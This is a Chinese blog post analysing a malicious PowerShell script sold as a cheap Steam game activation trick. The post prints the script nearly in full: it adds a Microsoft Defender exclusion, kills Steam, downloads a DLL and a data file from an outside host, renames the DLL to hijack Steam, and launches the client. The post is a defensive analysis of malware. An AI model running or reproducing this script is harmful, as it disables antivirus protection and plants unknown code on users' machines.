前言
最近发现了一篇关于 Steam 低价激活脚本分析的文章。早就在 xhh 上听说这种脚本了,很感兴趣,便借着文章浅浅的探究一下。
核心就两个步骤:
- 步骤一:按住键盘win + X,找到powershell(终端管理员)
- 步骤二:输入irm 2[.]steam[.]work|iex(已去功能化)
提一下irm和iex:
irm 是一个用来从互联网下载内容的命令。
详细一点讲:
irm 其实是 PowerShell 里的一个别名。
- 它的完整命令是
Invoke-RestMethod。
- 它的主要工作是向一个网址(URL)发送请求,并获取服务器返回的数据。
iex 是一个用来把纯文本(字符串)当作 PowerShell 命令来立即执行的命令。
iex 也是一个别名。
- 它的全称是
Invoke-Expression(调用表达式)
- 它的工作极其简单粗暴:你给它一段纯文本(字符串),它会把这段文本当作 PowerShell 命令来立即执行。
这条指令就是下载 2.steam.work 网址上的所有文本,然后直接通过管道符(|)直接作为输入,给iex执行,这是及其危险的。
我们这里在虚拟机中利用
1
| irm 2.steam.work > payload.txt
|
来把它的命令下载到文本文件中分析
PowerShell 命令分析
1 2 3 4 5 6 7 8
| $steamRegPath = 'HKCU:\Software\Valve\Steam' $localPath = Join-Path $env:LOCALAPPDATA "Steam" if (Test-Path $steamRegPath) { $properties = Get-ItemProperty -Path $steamRegPath -ErrorAction SilentlyContinue if ($properties.PSObject.Properties.Name -contains 'SteamPath') { $steamPath = $properties.SteamPath } }
|
简单的寻找 steam 客户端的安装路径
1 2 3 4 5 6 7
| $currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent()) if (-not ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))) { $bytes = [byte[]](91,232,175,183,233,135,141,230,150,176,230,137,147,229,188,128,80,111,119,101,114,32,115,104,101,108,108,32,230,137,147,229,188,128,230,150,185,229,188,143,228,187,165,231,174,161,231,144,134,229,145,152,232,186,171,228,187,189,232,191,144,232,161,140,93) $text = [System.Text.Encoding]::UTF8.GetString($bytes) Write-Host $text -ForegroundColor:red return }
|
检查是否以管理员运行,若否,则输出[请重新打开Power shell 打开方式以管理员身份运行]。
接下来,脚本定义了一个函数Start-SteamOptimization,并且运行了它。
我们来分析这个函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| try { $security360check = $false if(Get-Process "360Tray*" -ErrorAction SilentlyContinue){ $security360check = $true while(Get-Process "360Tray*" -ErrorAction SilentlyContinue){ Write-Host "[360]" -ForegroundColor:Red Start-Sleep 1.5 } Start-SteamOptimization } if(Get-Process "360sd*" -ErrorAction SilentlyContinue) { $security360check = $true while(Get-Process "360sd*" -ErrorAction SilentlyContinue){ Write-Host "[360]" -ForegroundColor:Red Start-Sleep 1.5 } Start-SteamOptimization } if ($security360check) { return } } catch {}
|
首先它先检查了360的相关进程,如果发现则不断打印红色的[360],直到用户主动关闭360进程。
1 2 3 4 5 6
| if ([string]::IsNullOrEmpty($steamPath)) { Write-Host "[Steam]" -ForegroundColor:Red return }
Write-Host "[ServerStart OK]" -ForegroundColor:green
|
接着它检查你的客户端是否安装了steam(非空),过完上述检查后,打印服务启动成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| try { $processes = Get-Process -Name steam* -ErrorAction SilentlyContinue if ($processes) { $processes | ForEach-Object { $_.Kill() } Start-Sleep 1.5 } if (Get-Process -Name "steam.exe" -ErrorAction SilentlyContinue) { $processes = Get-Process -Name "steam.exe" -ErrorAction SilentlyContinue if ($processes) { $processes | ForEach-Object { $_.Kill() } Start-Sleep 1 } } } catch {}
|
简单来说,该代码段作用为:强行关闭所有正在运行的 Steam 进程
1 2 3 4 5 6 7 8 9
| if (-not (Test-Path $localPath)) { try { New-Item -Path $localPath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null if (-not (Test-Path $localPath)) { New-Item $localPath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null } } catch {} }
|
再次检查steam目录。因为脚本在后续步骤中需要下载(Payload 2)并写入一个名为 localData.vdf 的恶意文件到 $localPath 目录。
1 2 3 4 5
| try { Add-MpPreference -ExclusionPath $steamPath -ErrorAction SilentlyContinue Start-Sleep 2 } catch {}
|
Add-MpPreference: 这是一个 PowerShell Cmdlet,它的唯一作用就是修改 Microsoft Defender (Windows 默认杀毒软件) 的设置。
-ExclusionPath $steamPath: 这是它修改的具体设置。它告诉 Defender:“请将 $steamPath(即 Steam 的整个安装目录)添加到‘排除列表’(Exclusion list) 中。”
这样就能有效防止恶意dll的报错被杀。
1
| Write-Host "[Result->0 OK]" -ForegroundColor:green
|
表示一个阶段的完成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| try { $files = @( "version.dll", "user32.dll", "steam.cfg", "hid.dll", "/appcache/packageinfo.vdf" ) foreach ($file in $files) { $targetPath = Join-Path $steamPath $file if (Test-Path $targetPath) { Remove-Item $targetPath -Force -ErrorAction SilentlyContinue | Out-Null } } $d = $steamPath + "/hid" } catch { $bytes = [byte[]](91,229,188,130,229,184,184,230,174,139,231,149,153,232,175,183,230,140,137,231,133,167,232,183,175,229,190,132,229,136,160,233,153,164,230,150,135,228,187,182,93,45,62) $text = [System.Text.Encoding]::UTF8.GetString($bytes) Write-Host "$text[$d]" -ForegroundColor:red return }
|
尝试清除“同类”的文件,如果自动失败就打印[异常残留请按照路径删除文件]-> +路径,让用户手动清理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| $downApi = "http://3.steam.work/api/v1/download/pwsDown"
try { irm -Uri $downApi -Method Post -Headers @{ Referer = "libary" } -OutFile $d -ErrorAction Stop $newFilePath = [System.IO.Path]::ChangeExtension($d, ".dll") Rename-Item -Path $d -NewName $newFilePath Write-Host "[Result->1 OK]" -ForegroundColor:green $d = $localPath + "/localData.vdf" irm -Uri $downApi -Method Post -Headers @{ Referer = "localData.vdf" } -OutFile $d -ErrorAction Stop Write-Host "[Result->2 OK]" -ForegroundColor:green Start-Sleep 1 } catch { Write-Host "[Download Failed]" -ForegroundColor:Red return }
|
主要是以特定方式请求,来下载相对应的文件。
Rename-Item -Path $d -NewName $newFilePath:这是实现 DLL 劫持的关键。 脚本先下载一个没有后缀的文件(hid),然后再将其重命名为 hid.dll。
意图: 直接下载 .dll 文件很容易被杀毒软件或防火墙拦截。通过“先下载,再重命名”的策略,大大提高了绕过检测的成功率。
1 2 3 4 5 6 7 8 9 10 11 12
| try { Start-Process "steam://" -ErrorAction SilentlyContinue $bytes = [byte[]](91,232,191,158,230,142,165,230,156,141,229,138,161,229,153,168,230,136,144,229,138,159,229,156,168,83,116,101,97,109,229,133,165,230,191,128,230,180,187,32,51,231,167,146,229,144,142,232,135,170,229,138,168,229,133,179,233,151,173,93) $text = [System.Text.Encoding]::UTF8.GetString($bytes) Write-Host $text -ForegroundColor:green Start-Sleep 3 } catch { Write-Host "[Steam Start Failed]" -ForegroundColor:Red }
exit
|
触发攻击:启动 Steam,使其加载刚刚植入的恶意 DLL。
注:steam:// 是一个 URL 协议,Windows 会用它来启动 Steam 客户端。
顺便一提登陆成功后Start-Process 命令才会返回,输出[连接服务器成功在Steam入激活 3秒后自动关闭],接着自然退出。
二进制文件后面有空再分析吧
关于空catch块
没有 try...catch 的情况 (正常情况)
在 PowerShell 中,当一个命令遇到“终止性错误”时,它会:
- 立即停止脚本的执行。
- 在控制台上打印出红色的、详细的错误信息。
2. 使用了空的 catch {} 块 (恶意软件的情况)
try...catch 结构就是为了改变这种默认行为而设计的。
- try { … } 的意思是:“尝试运行这里的代码。”
- catch { … } 的意思是:“如果
try 块中的代码失败了,不要崩溃,而是继续运行这里的代码。”
当 catch 块是空的时候,它的意思就变成了:“如果 try 块失败了,什么也不要做。不要打印信息,不要停止脚本,就假装什么都没发生过,然后继续往下走。”
文件篡改后果
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| # 原始 Steam 文件结构 Steam/ ├── steam.exe ├── steamapps/ ├── user32.dll # 合法Windows组件 ├── hid.dll # 合法HID驱动 └── steam.cfg # 客户端配置文件
# 脚本修改后 Steam/ ├── steam.exe ├── steamapps/ ├── hid.dll # 被替换为未知文件 └── localData.vdf # 新增可疑配置文件
|